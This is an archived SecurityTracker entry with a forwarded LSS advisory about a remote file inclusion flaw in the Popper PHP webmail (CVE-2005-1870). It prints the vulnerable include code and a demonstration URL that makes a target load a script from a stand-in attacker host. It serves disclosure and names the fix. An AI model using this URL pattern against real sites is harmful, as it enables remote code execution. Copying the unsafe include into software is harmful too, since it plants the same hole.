SecurityTracker.com
    Home    |    View Topics    |    Search    |    Contact Us    |   

SecurityTracker
Archives


 


Category:   Application (E-mail Client)  >   Popper Vendors:   popper.ractive.ch
Popper Include File Bug in 'childwindow.inc.php' Lets Remote Users Execute Arbitrary Commands
SecurityTracker Alert ID:  1014116
SecurityTracker URL:  http://securitytracker.com/id/1014116
CVE Reference:   CVE-2005-1870   (Links to External Site)
Updated:  Jun 9 2005
Original Entry Date:  Jun 7 2005
Impact:   Execution of arbitrary code via network, User access via network
Exploit Included:  Yes  
Version(s): 1.41-r2 and prior versions
Description:   A vulnerability was reported in Popper. A remote user can execute arbitrary commands on the target system.

The 'childwindow.inc.php' script includes scripts relative to the user-supplied 'form' parameter. A remote user can create a specially crafted URL to cause the target system to include and execute arbitrary PHP code from a remote system. The PHP code, including operating system commands, will run with the privileges of the target web service.

A demonstration exploit URL is provided:

http://[target]/popper/childwindow.inc.php?form=http://[attacker]/test

This can be exploited if the 'register_globals' setting in the 'php.ini' file is set to 'on'.

The original advisory is available at:

http://security.lss.hr/index.php?page=details&ID=LSS-2005-06-07

Leon Juranic of LSS Security Team discovered this vulnerability.

Impact:   A remote user can execute arbitrary PHP code and operating system commands on the target system with the privileges of the target web service.
Solution:   No solution was available at the time of this entry.
Vendor URL:  www.ractive.ch/popper/ (Links to External Site)
Cause:   Input validation error, State error
Underlying OS:  Linux (Any), UNIX (Any), Windows (Any)

Message History:   None.


 Source Message Contents

Subject:  Popper webmail remote code execution vulnerability - advisory fix


Hi,

This advisory was already released on http://security.lss.hr, but there was a 
mistake in advisory page that marked vulnerable PHP line as HTML tag, so it wasn't
visible within web browser. That's why b0iler described it as a false positive 
(http://lists.grok.org.uk/pipermail/full-disclosure/2005-June/034408.html).
I apologize for our mistake, here is fixed advisory.


----------------------------------------------------------------------------------

					LSS Security Advisory #LSS-2005-06-07
 						http://security.lss.hr



 
Title: Popper webmail remote code execution vulnerability
Advisory ID: LSS-2005-06-07
Date: 2005-06-01
Advisory URL: http://security.lss.hr/index.php?page=details&ID=LSS-2005-06-07
Impact: Remote code execution
Risk Level: High
Vulnerability Type: Remote
Vendors Status: 7th March, 2005


 
==[ Overview

Popper is a webmail application written in PHP which allows users to read
and send their e-mail messages using a web browser. 
 


==[ Vulnerability

Popper is vulnerable to remote code inclusion bug in childwindow.inc.php script
that can be abused to execute arbitrary code.
Vulnerable code in childwindow.inc.php:
--------
..
<?php
		if(file_exists($form.".toolbar.inc.php")) {
			include($form.".toolbar.inc.php");
		}
?>
..
..
<?php include($form.".form.inc.php");?>
..
--------

To exploit this vulnerability, attacker has to put script like test.form.inc.php 
on www.evilsite.com HTTP server, and call url like this:
http://www.vulnsite.com/popper/childwindow.inc.php?form=http://evilsite.com/test
Vulnerability can be exploited only if register_globals in php.ini file is set
to 'on'.


 
==[ Affected Version

All popper versions including latest 1.41-r2.


 
==[ Fix

Set register_globals to off.


 
==[ PoC Exploit

No PoC needed.


 
==[ Credits

Credits for this vulnerability goes to Leon Juranic <ljuranic@lss.hr>.


 
==[ LSS Security Contact
 
LSS Security Team, 

WWW : http://security.lss.hr
E-mail : security@LSS.hr
Tel : +385 1 6129 775 

 
 


Go to the Top of This SecurityTracker Archive Page





Home   |    View Topics   |    Search   |    Contact Us

This web site uses cookies for web analytics. Learn More

Copyright 2019, SecurityGlobal.net LLC